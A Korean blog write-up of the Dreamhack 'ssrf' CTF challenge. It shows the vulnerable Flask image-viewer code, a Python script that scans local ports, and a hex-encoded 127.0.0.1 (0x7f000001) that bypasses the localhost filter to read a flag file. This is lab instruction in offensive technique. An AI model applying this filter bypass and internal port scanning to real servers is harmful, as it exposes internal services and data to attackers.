SSRF란?
서버 측에서 공격자에 의해 위조된 HTTP 요청을 보내 직접적인 접근이 제한된 서버 내부 자원에 접근하여 외부로 데이터 유출 및 오동작을 유발하는 공격
@app.route("/img_viewer", methods=["GET", "POST"])
def img_viewer():
if request.method == "GET":
return render_template("img_viewer.html")
elif request.method == "POST":
url = request.form.get("url", "")
urlp = urlparse(url)
if url[0] == "/":
url = "http://localhost:8000" + url
elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc):
data = open("error.png", "rb").read()
img = base64.b64encode(data).decode("utf8")
return render_template("img_viewer.html", img=img)
try:
data = requests.get(url, timeout=3).content
img = base64.b64encode(data).decode("utf8")
except:
data = open("error.png", "rb").read()
img = base64.b64encode(data).decode("utf8")
return render_template("img_viewer.html", img=img)
local_host = "127.0.0.1"
local_port = random.randint(1500, 1800)
local_server = http.server.HTTPServer(
(local_host, local_port), http.server.SimpleHTTPRequestHandler
)
def run_local_server():
local_server.serve_forever()
threading._start_new_thread(run_local_server, ())
app.run(host="0.0.0.0", port=8000, threaded=True)
코드를 보면 admin의 서버는 8000번 포트를 열고 모든 ip의 접속을 허용한다. 그리고 127.0.0.1 주소에 1500~1800 중 임의의 포트로 local_server를 실행한다.
입력값을 조작하여 admin이 로컬 서버에 요청을 보내도록 해야한다. 우선 로컬 서버의 포트를 알아내야한다.
import requests
url= "http://host3.dreamhack.games:20197/img_viewer"
for i in range(1500,1801):
response = requests.post(url, data={'url':'http://0x7f000001:'+str(i)+'/app/flag.txt'})
if 'iVBOR' not in response.text:
print(i)
break
url인자는 http://0x7f000001:포트번호/app/flag.txt 형식이다. 이렇게 넣으면 image_viewer 함수에서 POST 방식의 조건문에 들어가서 if, elif 문을 건너 뛰게 된다. 바로 try 문이 실행되며 입력한 url로 get 방식의 요청을 보내게 된다.
0x7f000001 url 상에서 127.0.0.1과 동일하다. 0x7f000001을 1바이트씩 잘라보면 0x7f, 0x00, 0x00, 0x01이다.
ivBOR은 Not Found X 이미지에 대해 base64 인코딩, utf-8 디코딩 한 값이다. image_viewer 함수에 나와있다. 포트번호를 임의로 넣고 url을 전송해보면 Not Found X를 볼 수 있고, 페이지 소스 보기를 통해 iVBOR을 찾을 수 있다. 포트번호를 맞게 넣는다면 Not Found X가 안 나올 것이기에 이를 이용하였다.
<img src="data:image/png;base64, iVBORw0KGgoAAAANSUhEUgAAA04AAAF4CAYAAABjHKkYAAAMRmlDQ1BJQ0MgUHJvZmls
코드를 실행하니 1531 포트라는 것을 알았다.
<img src="data:image/png;base64, REh7NDNkZDIxODkwNTY0NzVhN2YzYmQxMTQ1NmExN2FkNzF9"/>
url을 전송하니 base64 인코딩, utf-8 디코딩된 값(REh ~~~)이 나온다.
온라인에 제공되는 base64 디코더를 이용한다.
https://www.convertstring.com/ko/EncodeDecode/Base64Decode
FLAG가 나온다.
'dreamhack > Web Hacking' 카테고리의 다른 글
php-1 (0) | 2023.02.25 |
---|---|
proxy-1 (0) | 2023.02.15 |
Carve Party (0) | 2023.02.13 |
Mango (0) | 2023.02.13 |
image-storage (0) | 2023.02.13 |